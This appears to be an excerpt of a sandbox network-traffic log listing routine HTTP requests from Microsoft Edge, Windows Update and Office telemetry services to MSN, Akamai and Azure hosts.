Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=111e9d3450db19a83dec6881732291742; XID=111e9d3450db19a83dec6881732291742
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732291741203&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9aecdf6384254054b34c2d28c33bb36c&activityId=9aecdf6384254054b34c2d28c33bb36c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FE5BBD40A0CF427BA444C5123269F69F&MUID=379C33D393BD6E761EBE26EC92DF6F66 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=379C33D393BD6E761EBE26EC92DF6F66&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8810299700620392370&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=2903a3403abd461dd899b6856809c9fb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NBpaY9u4MAKaRFe&MD=dGLnu6cB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
